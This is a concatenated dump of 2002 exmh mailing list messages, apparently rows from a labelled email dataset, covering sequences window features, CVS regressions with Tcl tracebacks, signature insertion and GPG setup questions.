https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Hal DeVore ,"Wed, 02 Oct 2002 08:58:51 -0500",Re: Unseen window versus Sequences Window,"--==_Exmh_-2113882517P Content-Type: text/plain; charset=us-ascii > From: Hal DeVore > Date: Tue, 01 Oct 2002 23:21:21 -0500 > > One possibility that occurs to me would be a button or mouse > click that ""shrinks"" the Sequences window to show only the > sequences in the ""always show"" list. And of course a way to > expand it back. That's a pretty good idea. I'm not sure I'll get to it any time soon. (I already have a known bug reported on 9/25 that I haven't been able to get to.) Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-2113882517P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9mvubK9b4h5R0IUIRAs2xAJ9gFx9Fvnld2Kp7JaUZyusroUweFQCfWPnM Pp78BfHf//xicipba00ru3o= =tDi6 -----END PGP SIGNATURE----- --==_Exmh_-2113882517P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 """J. W. Ballantine"" ",exmh-workers@spamassassin.taint.org,"Wed, 02 Oct 2002 09:54:04 -0400",A couple of nits...,"I have a couple of small issues, and I'm not sure if their exmh issues or my setup issues. First, when I try and run exmh with wish from tk8.4.0 it seems to take forever to start, but with wish from tk8.a.4 it starts in a snap. Using the latest CVS, when I open exmh and the folder I'm in has unseen messages and I hit next, exmh changes to the next folder with unseen messages rather than to the first unseen in the current folder. Finally, when I reach the end of the messages in a folder and go on to the next unseen, exmh always goes back to inbox (which has no unseen messages) rather than the next folder with unseen messages. (When I goto next from inbox it does go where I would think it should go). Just wanted to let you know what I'm seeing and find out if I'm expecting some different than I should be. Thanks for all the effort Jim _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Hal DeVore ,Chris Garrigues ,"Wed, 02 Oct 2002 09:34:08 -0500",Re: Unseen window versus Sequences Window,">>>>> On Wed, 2 Oct 2002, ""Chris"" == Chris Garrigues wrote: Chris> I'm not sure I'll get to it any time soon. Well, you have a pretty good idea of when I might get to it (the phrase hell freezes over comes to mind)... so whenever you can will certainly be fine. Thanks for considering it. In the meantime I've set the ""minimum entry lines"" to 1. It certainly isn't going to make me go back to the old version. --Hal _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Valdis.Kletnieks@vt.edu,"""J. W. Ballantine"" ","Wed, 02 Oct 2002 10:49:25 -0400",Re: A couple of nits...,"--==_Exmh_-1581861840P Content-Type: text/plain; charset=us-ascii On Wed, 02 Oct 2002 09:54:04 EDT, ""J. W. Ballantine"" said: > First, when I try and run exmh with wish from tk8.4.0 it seems to take > forever to start, but with wish from tk8.a.4 it starts in a snap. This sounds like something piggy in the 'flist' code - I'm seeing flist in general taking 5-10 seconds. Interesting that a different wish comes up fast, there might be a borkedness in 8.4. > Using the latest CVS, when I open exmh and the folder I'm in has unseen > messages and I hit next, exmh changes to the next folder with unseen messages > rather than to the first unseen in the current folder. Hmm.. weirdness.. > Finally, when I reach the end of the messages in a folder and go on to > the next unseen, exmh always goes back to inbox (which has no unseen > messages) rather than the next folder with unseen messages. (When I > goto next from inbox it does go where I would think it should go). I've been seeing this as well - *usually* with inbox, but it's gotten stuck on some other folders as well (I have procmail do rcvstore into folders for me). -- Valdis Kletnieks Computer Systems Senior Engineer Virginia Tech --==_Exmh_-1581861840P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Exmh version 2.5 07/13/2001 iD8DBQE9mwd0cC3lWbTT17ARAsOKAKCe3ziHYPQnWBGyUdYQzYurE1tguACfS9Ms TUQI8ndQ8stuJqaWVGSAi4k= =JBgX -----END PGP SIGNATURE----- --==_Exmh_-1581861840P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Hal DeVore ,exmh-workers@spamassassin.taint.org,"Wed, 02 Oct 2002 09:50:51 -0500",Re: Bindings problem with current CVS code,">>>>> On Wed, 2 Oct 2002, ""Chris"" == Chris Garrigues wrote: Chris> Flist_FindUnseen has changed to Flist_FindSeqs. I guess I was sleepier than I thought. I managed to cut and paste the _right_ stuff from the app-defaults file into the Bindings definition dialog without ever noticing that it was different from what was in my exmhbindings file. --Hal P.S., can I get a pointer to a freeware Tcl/Tk debugger? _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Robert Elz ,Hal DeVore ,"Wed, 02 Oct 2002 23:54:44 +0700",Re: Another sequences window nit,"Date: Wed, 02 Oct 2002 11:39:13 -0500 From: Hal DeVore Message-ID: <9288.1033576753@dimebox.bmc.com> | Restarting exmh was necessary. Probably not. Next time try clicking on the folder name in the sequences window for the sequence. That is, request that sequence be the one displayed in the FTOC. If the sequence doesn't exist, it will be cleaned up then. Perhaps it would be nicer if flist would do it as well, but this is effective enough. kre _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Hal DeVore ,exmh-workers@spamassassin.taint.org,"Wed, 02 Oct 2002 18:00:53 -0500",Re: Working My_Mark2CurSeen,"[I wrote this last night but it appears I never sent it... still haven't had time to dig in to it...] >>>>> On Tue, 1 Oct 2002, ""Robert"" == Robert Elz wrote: Robert> No, but using PickMarkSeen (and pick(ids)) as an Robert> alternative to just doing Robert> Seq_Del $exmh(folder) $mhProfile(unseen-sequence) $results Ah. Neither Ted nor I were particularly up to date. I pulled down the lates from CVS and am now running with it. I miss the blue ftoc lines but I'll sort that out soon, iirc Chris said it's a simple resource change. Ted's code to ""ketchup"" made use of some of the procs that went away in the sequence generalization. I've fixed it up... almost and it looks like this now: proc Cabeen_Mark2CurSeen {} { global exmh mhProfile msg set results {} Exmh_Status ""Clearing unseen up to cur..."" red Mh_SetCur $exmh(folder) $msg(id) set unseen [Mh_Sequence $exmh(folder) $mhProfile(unseen-sequence) ] foreach elem $unseen { if { $elem <= $msg(id) } { lappend results $elem } } busy Seq_Del $exmh(folder) $mhProfile(unseen-sequence) $results Exmh_Status ok blue } The ""almost"" is because it's not updating the highlighting on the ftoc. I'm too tired to go figure out how to fix that just now and have to move on to other stuff. If someone wants to forward me a clue feel free. Now that I've got all of Chris' sequence stuff I discovered that my sequences are ... cluttered. --Hal _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Dag Nygren ,exmh-users@spamassassin.taint.org,"Tue, 08 Oct 2002 00:27:22 +0300",Ringing bell on other computer,"Hi, succeeded in ringing a bell anytime I get a mail to my inbox (Not Mailing lists, spams etc.) by using procmail to execute a ""play clink.wav"" on the ""right"" mails. Now my demands are growing ;-) I use my laptop remotely very often and now I would like the bell to sound on that when I am there. I triedto use the KDE remote sound server and it works in the tests, but when procmail runs it it doesn't, presumably as it doesn't have the authorization to communicate with the laptop, beeing another user? Any hints. BRGDS -- Dag Nygren email: dag@newtech.fi Oy Espoon NewTech Ab phone: +358 9 8024910 Trsktorpet 3 fax: +358 9 8024916 02360 ESBO Mobile: +358 400 426312 FINLAND _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Dag Nygren ,exmh-users@spamassassin.taint.org,"Tue, 08 Oct 2002 09:25:13 +0300",Re: Ringing bell on other computer,"> > > >>>>> On Tue, 8 Oct 2002, ""Dag"" == Dag Nygren wrote: > > Dag> but when procmail runs it it doesn't, presumably as it > Dag> doesn't have the authorization to communicate with the > Dag> laptop, beeing another user? > > I don't know anything about the KDE sound server but I'd guess > your problem is the ""environment"" in which procmail runs. You > don't say what procmail is running from. In my case, for > example, procmail is run from fetchmail which is run by a cron > job. Sorry about that, procmail is run by the qmail delivery agent to presort all mail I get. But anyway, I found an error message in procmail.log, which solved the problem. The following line in my delivery script seems to work fine now: DISPLAY=:0.0 artsplay Thanks Dag _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Tony Nugent ,Exmh Users Mailing List ,"Thu, 22 Aug 2002 23:36:32 +1000",Re: Insert signature,"On Wed Aug 21 2002 at 15:46, Ulises Ponce wrote: > Hi! > > Is there a command to insert the signature using a combination of keys and not > to have sent the mail to insert it then? I simply put it (them) into my (nmh) component files (components, replcomps, forwcomps and so on). That way you get them when you are editing your message. Also, by using comps files for specific folders you can alter your .sig per folder (and other tricks). See the docs for (n)mh for all the details. There might (must?) also be a way to get sedit to do it, but I've been using gvim as my exmh message editor for a long time now. I load it with a command that loads some email-specific settings, eg, to ""syntax"" colour-highlight the headers and quoted parts of an email)... it would be possible to map some (vim) keys that would add a sig (or even give a selection of sigs to choose from). And there are all sorts of ways to have randomly-chosen sigs... somewhere at rtfm.mit.edu... ok, here we go: rtfm.mit.edu/pub/usenet-by-group/news.answers/signature_finger_faq. (Warning... it's old, May 1995). > Regards, > Ulises Hope this helps. Cheers Tony _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Chris Garrigues ,"""J. W. Ballantine"" ","Thu, 22 Aug 2002 09:12:16 -0500",Re: New Sequences Window,"--==_Exmh_1547759024P Content-Type: text/plain; charset=us-ascii > From: ""J. W. Ballantine"" > Date: Wed, 21 Aug 2002 09:51:31 -0400 > > I CVS'ed the unseen/Sequences changes and installed them, and have only one > real issue. > > I use the unseen window rather than the exmh icon, and with the new code > I can't seem to be able to. How many unseen when when I have the main window open > is not really necessary. hmmm, I stole the code from unseenwin, but I never tested it since I don't use that functionality. Consider it on my list of things to check. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_1547759024P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9ZPFAK9b4h5R0IUIRAkjyAJ4jjjhAVRx5FiwuCMa+QBWsbbE2jQCaAj4x NhIgYqnx9/1wvdSgesQhMIU= =vA3k -----END PGP SIGNATURE----- --==_Exmh_1547759024P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Robert Elz ,Chris Garrigues ,"Thu, 22 Aug 2002 21:55:18 +0700",Re: New Sequences Window,"Date: Wed, 21 Aug 2002 10:40:39 -0500 From: Chris Garrigues Message-ID: <1029944441.398.TMDA@deepeddy.vircio.com> | The background color in this window is the same as the background | color in the ftoc. That's what I'd like to vary - particularly as the ftoc background isn't constant - messages in the unseen sequence have a different background than others. In the ftoc that's fine, but in the sequences window, it isn't needed. unseen already has a different foreground there (no problem with that), it doesn't need a different background as well. I'll play about a bit with this, and with making it vertical instead of horizontal, and see what turns up. | The only sequences that are defined there are sequences which are defined | in app-defaults-color or ~/exmh/exmh-defaults-color. OK. | I've been thinking about how to dynamically generate highlighting for | other sequences, but haven't got that figured out yet. In this case, highlighting wasn't what I was most concerned about. A method to get messages in & out of sequences comes first, how it displays is a secondary consideration. But as a suggestion, have an ""all unknown"" sequence highlight, any message in a sequence which has no defined highlighting (where defined includes defined to not be treated specially) gets highlighted the same way (maybe something as boring as a dark brown text colour - almost indistinguishable from the normal black) | > > Any chance of making the current message a little brighter background? | | I don't see any reason why not. Experiment and let me know what works for you. Done some of that. First, the most significant change came from changing relief from raised to sunken. I don't know why, but it just looks better (for me anyway). But even with that, cur and unseen are still just a bit too similar. I ended up using *sequence_cur: -background {PaleGoldenrod} -relief sunken -borderwidth 2 The unnecessary braces are just because some of the colours I was using had spaces in their names. PaleGoldenrod translates as #eee8aa which is probably safer for generic use. kre _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Anders Eriksson ,Chris Garrigues ,"Thu, 22 Aug 2002 18:55:03 +0200",Re: CVS report,"> > > > Just cvs up'ed and nowadays Catch-up Unseen is __extremely__ slow on > > > > large (>100 msgs) unseen sequences. Anybody else having this problem? > > > > > > I'll take the blame. > > > > > > The reason, I suspect, is that we're needlessly reading the .sequences file > > > multiple times because of other sequences. I need to make the code much > > > smarter about handling that file, but first I have a few other fish to fry in > > > my rather large patch that's on it's way. > > > > > > > No panic, > > > > I'm all for cleaning things up before getting it optimized. > > Okay, this fix is now checked in. > I'm afraid it didn't help. It still seems to be slower than ~1 month ago. Maybe slightly faster than yeasterday. I'm (still) seeing an ""unseen countdown"" in the log. 18:51:25 Writing /home/ander/Mail/lists/l-k/.mh_sequences 18:51:25 lists/l-k has 57 msgs in unseen 18:51:25 lists/l-k has 56 msgs in unseen 18:51:25 lists/l-k has 55 msgs in unseen 18:51:26 lists/l-k has 54 msgs in unseen 18:51:26 lists/l-k has 53 msgs in unseen 18:51:26 lists/l-k has 52 msgs in unseen 18:51:26 lists/l-k has 51 msgs in unseen 18:51:26 lists/l-k has 50 msgs in unseen 18:51:26 lists/l-k has 49 msgs in unseen 18:51:26 lists/l-k has 48 msgs in unseen 18:51:26 lists/l-k has 47 msgs in unseen 18:51:26 lists/l-k has 46 msgs in unseen 18:51:26 lists/l-k has 45 msgs in unseen 18:51:27 lists/l-k has 44 msgs in unseen 18:51:27 lists/l-k has 43 msgs in unseen 18:51:27 lists/l-k has 42 msgs in unseen 18:51:27 lists/l-k has 41 msgs in unseen 18:51:27 lists/l-k has 40 msgs in unseen 18:51:27 lists/l-k has 39 msgs in unseen 18:51:27 lists/l-k has 38 msgs in unseen 18:51:27 lists/l-k has 37 msgs in unseen 18:51:27 lists/l-k has 36 msgs in unseen 18:51:28 lists/l-k has 35 msgs in unseen 18:51:28 lists/l-k has 34 msgs in unseen 18:51:28 lists/l-k has 33 msgs in unseen 18:51:28 lists/l-k has 32 msgs in unseen 18:51:28 lists/l-k has 31 msgs in unseen 18:51:28 lists/l-k has 30 msgs in unseen 18:51:28 lists/l-k has 29 msgs in unseen 18:51:28 lists/l-k has 28 msgs in unseen 18:51:28 lists/l-k has 27 msgs in unseen 18:51:28 lists/l-k has 26 msgs in unseen 18:51:29 lists/l-k has 25 msgs in unseen 18:51:29 lists/l-k has 24 msgs in unseen 18:51:29 lists/l-k has 23 msgs in unseen 18:51:29 lists/l-k has 22 msgs in unseen 18:51:29 lists/l-k has 21 msgs in unseen 18:51:29 lists/l-k has 20 msgs in unseen 18:51:29 lists/l-k has 19 msgs in unseen 18:51:29 lists/l-k has 18 msgs in unseen 18:51:29 lists/l-k has 17 msgs in unseen 18:51:29 lists/l-k has 16 msgs in unseen 18:51:30 lists/l-k has 15 msgs in unseen 18:51:30 lists/l-k has 14 msgs in unseen 18:51:30 lists/l-k has 13 msgs in unseen 18:51:30 lists/l-k has 12 msgs in unseen 18:51:30 lists/l-k has 11 msgs in unseen 18:51:30 lists/l-k has 10 msgs in unseen 18:51:30 lists/l-k has 9 msgs in unseen 18:51:30 digits changed 18:51:30 lists/l-k has 8 msgs in unseen 18:51:30 lists/l-k has 7 msgs in unseen 18:51:31 lists/l-k has 6 msgs in unseen 18:51:31 lists/l-k has 5 msgs in unseen 18:51:31 lists/l-k has 4 msgs in unseen 18:51:31 lists/l-k has 3 msgs in unseen 18:51:31 lists/l-k has 2 msgs in unseen 18:51:31 lists/l-k has 1 msgs in unseen 18:51:31 lists/l-k has 0 msgs in unseen 18:51:31 FlistUnseenFolder lists/l-k 18:51:31 ok 18:51:47 Folder_Change lists/exmh {Msg_Show cur} _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Anders Eriksson ,"Thu, 22 Aug 2002 12:23:38 -0500",Re: CVS report,"--==_Exmh_-518574644P Content-Type: text/plain; charset=us-ascii > From: Anders Eriksson > Date: Thu, 22 Aug 2002 18:55:03 +0200 > > > > > > > > > Just cvs up'ed and nowadays Catch-up Unseen is __extremely__ slow o > n > > > > > large (>100 msgs) unseen sequences. Anybody else having this proble > m? > > > > > > > > I'll take the blame. > > > > > > > > The reason, I suspect, is that we're needlessly reading the .sequence > s file > > > > multiple times because of other sequences. I need to make the code m > uch > > > > smarter about handling that file, but first I have a few other fish t > o fry in > > > > my rather large patch that's on it's way. > > > > > > > > > > No panic, > > > > > > I'm all for cleaning things up before getting it optimized. > > > > Okay, this fix is now checked in. > > > I'm afraid it didn't help. It still seems to be slower than ~1 month > ago. Maybe slightly faster than yeasterday. I'm (still) seeing an > ""unseen countdown"" in the log. Okay....Catchup unseen is something that I don't use often, but i can certainly reproduce this. I'll dig into it. It's probably simple. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-518574644P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9ZR4aK9b4h5R0IUIRAub4AKCE9sxZQfiRl18xhrtT2WLrEqEucACeJGm0 YdhaA8YocKvlkyW4sTIZ3lU= =XhOQ -----END PGP SIGNATURE----- --==_Exmh_-518574644P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Anders Eriksson ,"Chris Garrigues ,","Thu, 22 Aug 2002 20:23:17 +0200",Re: CVS report,"Oooops! Doesn't work at all. Got this on startup and on any attempt to change folder (which fail) /Anders can't read ""flist(seqcount,lists/exmh,unseen)"": no such element in array (reading value of variable to increment) invoked from within ""incr flist(seqcount,$folder,$seq) $delta"" (procedure ""Seq_Del"" line 16) invoked from within ""Seq_Del $exmh(folder) $mhProfile(unseen-sequence) $msgid"" (procedure ""MsgSeen"" line 7) invoked from within ""MsgSeen $msgid"" (procedure ""MsgShow"" line 12) invoked from within ""MsgShow $msgid"" (procedure ""MsgChange"" line 17) invoked from within ""MsgChange 73 show"" invoked from within ""time [list MsgChange $msgid $show"" (procedure ""Msg_Change"" line 3) invoked from within ""Msg_Change $msg(id) $show"" (procedure ""Msg_Show"" line 7) invoked from within ""Msg_Show cur"" (""eval"" body line 1) invoked from within ""eval $msgShowProc"" (procedure ""FolderChange"" line 55) invoked from within ""FolderChange lists/exmh {Msg_Show cur}"" invoked from within ""time [list FolderChange $folder $msgShowProc"" (procedure ""Folder_Change"" line 3) invoked from within ""Folder_Change $exmh(folder)"" (procedure ""Exmh"" line 101) invoked from within ""Exmh"" (""after"" script) _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Paul Lussier ,exmh-users@spamassassin.taint.org,"Thu, 22 Aug 2002 14:43:03 -0400",Re: Insert signature,"In a message dated: Thu, 22 Aug 2002 13:03:57 CDT Ulises Ponce said: >Thanks Tony, but I think doing it using component files will get a .signature >by default, but I have many diferent signatures and I want to insert one of >that signatures using a keyboard command. So for a message I will insert a >signature, but for another message I will insert a different signature. > >Is it possible? I am using sedit for my messages. Ahm, if you don't object to using a mouse for such things, exmh has the ability to insert different sigs on demand. Create a bunch of different sig files, all beginning with .signature, and at start up, exmh will load them all. In the Sedit window, you'll see a Sign... menu item which will allow you to select between each of the listed .signature files for *that* e-mail. You can actually use several if you'd like (though I don't remember what Preferences... option allows for this). However, the signature gets added on send, not inserted directly into the existing Sedit window prior to composition. I currently have 6 different sig files I can choose between. Additionally, if a .signature file has the execute bit turned on, exmh will attempt to execute the file and use the stdout of the script as your signature. I hope this helps some. -- Seeya, Paul -- It may look like I'm just sitting here doing nothing, but I'm really actively waiting for all my problems to go away. If you're not having fun, you're not doing it right! _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Ulises Ponce ,exmh-users@spamassassin.taint.org,"Thu, 22 Aug 2002 13:53:55 -0500",Re: Insert signature,"Thanks Paul, That is the way I am doing right now, but I would like to NOT use the mouse for such things. Any other clue? -- Saludos, Ulises Speaking words of wisdom ... > In a message dated: Thu, 22 Aug 2002 13:03:57 CDT > Ulises Ponce said: > > >Thanks Tony, but I think doing it using component files will get a .signature > >by default, but I have many diferent signatures and I want to insert one of > >that signatures using a keyboard command. So for a message I will insert a > >signature, but for another message I will insert a different signature. > > > >Is it possible? I am using sedit for my messages. > > Ahm, if you don't object to using a mouse for such things, exmh has > the ability to insert different sigs on demand. Create a bunch of > different sig files, all beginning with .signature, and at start up, > exmh will load them all. In the Sedit window, you'll see a Sign... > menu item which will allow you to select between each of the listed > .signature files for *that* e-mail. You can actually use several if > you'd like (though I don't remember what Preferences... option allows > for this). > > However, the signature gets added on send, not inserted directly into > the existing Sedit window prior to composition. > > I currently have 6 different sig files I can choose between. > > Additionally, if a .signature file has the execute bit turned on, > exmh will attempt to execute the file and use the stdout of the > script as your signature. > > I hope this helps some. > -- > > Seeya, > Paul > -- > It may look like I'm just sitting here doing nothing, > but I'm really actively waiting for all my problems to go away. > > If you're not having fun, you're not doing it right! > > > > > _______________________________________________ > Exmh-users mailing list > Exmh-users@redhat.com > https://listman.redhat.com/mailman/listinfo/exmh-users _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Robert Elz ,exmh-workers@spamassassin.taint.org,"Fri, 23 Aug 2002 02:05:19 +0700",Anolther sequence related traceback,"Just got this ... I was just reading mail, but in a very dark room, where the keyboard is illuminated mostly by the light from the (laptop) screen. I think I put my fingers on the wrong keys. (I mostly use the keyboard exclusively while running exmh). This is from today's cvs (the fixes for the problems I mentioned yesterday are included) - I eventually managed to contact the cvs server. expected integer but got """" while executing ""incr m"" (procedure ""MhSeqExpand"" line 12) invoked from within ""MhSeqExpand $folder $msgids"" (procedure ""MhSeq"" line 2) invoked from within ""MhSeq $folder $seq $how $oldmsgids $msgids"" (procedure ""Mh_SequenceUpdate"" line 54) invoked from within ""Mh_SequenceUpdate $folder replace $seq $msgids"" (procedure ""Seq_Set"" line 4) invoked from within ""Seq_Set $folder cur $msgid"" (procedure ""Mh_SetCur"" line 7) invoked from within ""Mh_SetCur $exmh(folder) $msgid"" (procedure ""MsgChange"" line 5) invoked from within ""MsgChange - noshow"" invoked from within ""time [list MsgChange $msgid $show"" (procedure ""Msg_Change"" line 3) invoked from within ""Msg_Change $select(sel) noshow"" (procedure ""SelectTypein"" line 14) invoked from within ""SelectTypein .mid.right.top.msg -"" (command bound to event) kre ps: I have the sequences window vertical instead of horizontal, and the ""colours from the ftoc"" stuff all deleted, and it is looking just about as good as the old unseen window used to look. I still have some work to do to make it a little nicer (listboxes seem to have some strange habits) and then I need to make it all optional and parameterized, at the minute I'm just embedding stuff in the code, much quicker for prototyping. Once its done, I'll send a patch for someone to look over. _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Paul Lussier ,exmh-users@spamassassin.taint.org,"Thu, 22 Aug 2002 15:13:10 -0400",Re: Insert signature,"In a message dated: Thu, 22 Aug 2002 13:53:55 CDT Ulises Ponce said: >Thanks Paul, >That is the way I am doing right now, but I would like to NOT use the mouse >for such things. Any other clue? The best I can think of is to figure out what the command being issued by exmh is that selects and inserts the sig and bind that to a key sequence. That shouldn't be *too* difficult, it's just a matter of figuring out the tcl (something my perl-based brain isn't excited about :) -- Seeya, Paul -- It may look like I'm just sitting here doing nothing, but I'm really actively waiting for all my problems to go away. If you're not having fun, you're not doing it right! _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Chris Garrigues ,Anders Eriksson ,"Thu, 22 Aug 2002 15:28:05 -0500",Re: CVS report,"--==_Exmh_267413022P Content-Type: text/plain; charset=us-ascii > From: Anders Eriksson > Date: Thu, 22 Aug 2002 20:23:17 +0200 > > > Oooops! > > Doesn't work at all. Got this on startup and on any attempt to change folde > r (which fail) ~sigh~ I'd already found that and checked it in....apparently I did so after you checked it out and before you sent this mail...I hoped I was fast enough that you wouldn't see it. Try again! Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_267413022P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9ZUlVK9b4h5R0IUIRAr4LAJ9Mhzgw03dF2qiyqtMks72364uaqwCeJxp1 23jNAVlrHHIDRMvMPXnfzoE= =HErg -----END PGP SIGNATURE----- --==_Exmh_267413022P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Anders Eriksson ,Chris Garrigues ,"Thu, 22 Aug 2002 23:14:20 +0200",Re: CVS report,">>>>> On Thu, 22 Aug 2002, ""Chris"" == Chris Garrigues wrote: Chris> --==_Exmh_267413022P Content-Type: text/plain; Chris> charset=us-ascii +> From: Anders Eriksson Date: Thu, 22 Aug +> 2002 20:23:17 +0200 +> Oooops! +> Doesn't work at all. Got this on startup and on any attempt to +> change folde r (which fail) Chris> ~sigh~ I'd already found that and checked it in....apparently Chris> I did so after you checked it out and before you sent this Chris> mail...I hoped I was fast enough that you wouldn't see it. Chris> Try again! Works like a charm. It's like the box was on drugs or something. However, while testing it a selected my favourite folder (l-k) and marked ~400 messages unread. THAT took forever, or about as long as Catch-up Unseen did before. Any suggestions? /A _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Anders Eriksson ,"Thu, 22 Aug 2002 16:54:11 -0500",Re: CVS report,"--==_Exmh_592622610P Content-Type: text/plain; charset=us-ascii > From: Anders Eriksson > Date: Thu, 22 Aug 2002 23:14:20 +0200 > > > >>>>> On Thu, 22 Aug 2002, ""Chris"" == Chris Garrigues wrote: > > Chris> --==_Exmh_267413022P Content-Type: text/plain; > Chris> charset=us-ascii > > +> From: Anders Eriksson Date: Thu, 22 Aug > +> 2002 20:23:17 +0200 > > +> Oooops! > > +> Doesn't work at all. Got this on startup and on any attempt to > +> change folde r (which fail) > > Chris> ~sigh~ I'd already found that and checked it in....apparently > Chris> I did so after you checked it out and before you sent this > Chris> mail...I hoped I was fast enough that you wouldn't see it. > > Chris> Try again! > > > Works like a charm. It's like the box was on drugs or something. > > However, while testing it a selected my favourite folder (l-k) and > marked ~400 messages unread. THAT took forever, or about as long as > Catch-up Unseen did before. Any suggestions? That's fixed now. I thought I'd caught all the occurrences of that particular coding stupidity. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_592622610P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9ZV2CK9b4h5R0IUIRAnWSAJwLZJvK8S4LQRv57W3WIbG9U2P+ywCdExEL kJaVNhuHKW9tp29wID5EjbU= =HDIb -----END PGP SIGNATURE----- --==_Exmh_592622610P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Robert Elz ,exmh-workers@spamassassin.taint.org,"Fri, 23 Aug 2002 13:20:11 +0700",Re: Anolther sequence related traceback,"Date: Fri, 23 Aug 2002 02:05:19 +0700 From: Robert Elz Message-ID: <16323.1030043119@munnari.OZ.AU> When I said ... | This is from today's cvs that will translate as ""yesterday's"" now of course (before the most recent set of changes (catchup speedups, and so on)). kre _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Reg Clemens ,exmh-users@spamassassin.taint.org,"Sun, 01 Sep 2002 00:05:03 -0600","ARRRGHHH Had GPG working, now it doesnt.","HELP. I had GPG working. I updated from version gnupg-1.0.6 to gnupg-1.0.7. This moved gpg from /usr/bin to /usr/local/bin and I changed the path in the exmh 'executable'. With that fix, EXMH knows I have GPG, and puts the line Check the signature with GnuPG in messages with GnuPG signatures. But punching the line ALWAYS gives Signature made Thu Aug 29 00:27:17 2002 MDT using DSA key ID BDDF997A Can't check signature: public key not found So, something else is missing. Can somebody tell me what it is,- Ive tried grepping on everything that I can think of with no luck at all. -- Reg.Clemens reg@dwf.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Hal DeVore ,"exmh-users@spamassassin.taint.org, dag@newtech.fi","Tue, 08 Oct 2002 10:21:13 -0500",Re: Ringing bell on other computer,"BTW: I remember messing about with such things long ago. One problem I ran into was making sure that no attempt was made to play a sound when either: a) the screen was locked or b) no exmh was running. Just something to think about, Dag. --Hal _______________________________________________ Exmh-users mailing list 